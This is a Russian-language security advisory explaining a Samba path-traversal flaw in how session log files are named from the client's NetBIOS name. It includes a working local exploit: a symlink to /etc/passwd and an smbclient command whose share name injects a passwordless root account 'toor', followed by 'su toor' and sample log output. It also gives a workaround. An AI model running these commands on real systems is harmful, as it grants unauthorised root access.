Недостаточная проверка правильности
параметра и опасная конфигурация,
используемая по умолчанию, делают
многочисленные системы, использующие Samba
совместно с file sharing, уязвимыми для удаленных
атак. Из-за недостаточной проверки
правильности NetBIOS имени компьютера
во входящих SMB запросах, вместе с заданной
по умолчанию конфигурацией, самба daemon
позволяет отдаленным нападавшим создавать
SMB журналы сеанса (*.log), с содержанием,
указывающим на директории более высокого
уровня. На уязвимой платформе, по умолчанию,
каждая SMB сессия создает лог файл:
/var/log/samba/<netbios-name>.log.
Если атакующий заходит с компьютера 'FOOBAR',
логи будут записываться в /var/log/foobar.log.
Теперь, если netbios имя атакующего будет ./../../evil,
то система также создаст /evil.log файл, но уже в
директории более высокого уровня, это и
есть главная ошибка. Эту уязвимость
возможно использовать при условии, если
следующие установки присутствуют в файле
smb.conf :
log file = /var/log/samba/%m.log
которая является по умолчанию в
большинстве LINUX платформ. Но на некоторых
системах конфигурация может быть такой:
log file = /usr/local/samba/var/log.%m
В этом случае (например FreeBSD), нельзя
использовать эту уязвимость.
Реализация ошибки
Это пример сценария локальной атаки для
получения повышенных привилегий:
ln -s /etc/passwd /tmp/x.log
$ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`"
-n ../../../tmp/x -N
Где NIMUE - соответствует имени локального
хоста (при этом могут быть возвращены
несколько ошибок).
$ su toor
#
Использовать эту атаку довольно просто: - Samba daemon пытается обратиться к лог файлам для хоста, подставляющегося себя как ' ../../../tmp/x '. Это транслирует функцию open() на /var/log/samba/../../../tmp/x.log. Таким образом, файл /tmp/x.log открыт в режиме O_APPEND, после предварительно созданного символьного линка на /etc/passwd
- все, путь свободен. Тогда, анонимная попытка устанавливает несуществующий share named "\ntoor::0:0::/:/bin/sh\n" в "/tmp/x.log" или, если Вы предпочитаете, в /etc/passwd.
Сообщение об ошибках смотрит этот путь:
[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X (925)
Rejecting user 'lcamtuf': authentication failed
[2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)
../../../tmp/x (192.233.133.108) couldn't find service
toor::0:0::/:/bin/sh
последняя строка, очевидно, разрешает /bin/su
или /bin/login.
В качестве временного решения следует
изменить формат Лог файлов и дождаться
официального патча:
http://us1.samba.org/samba/whatsnew/macroexploit.html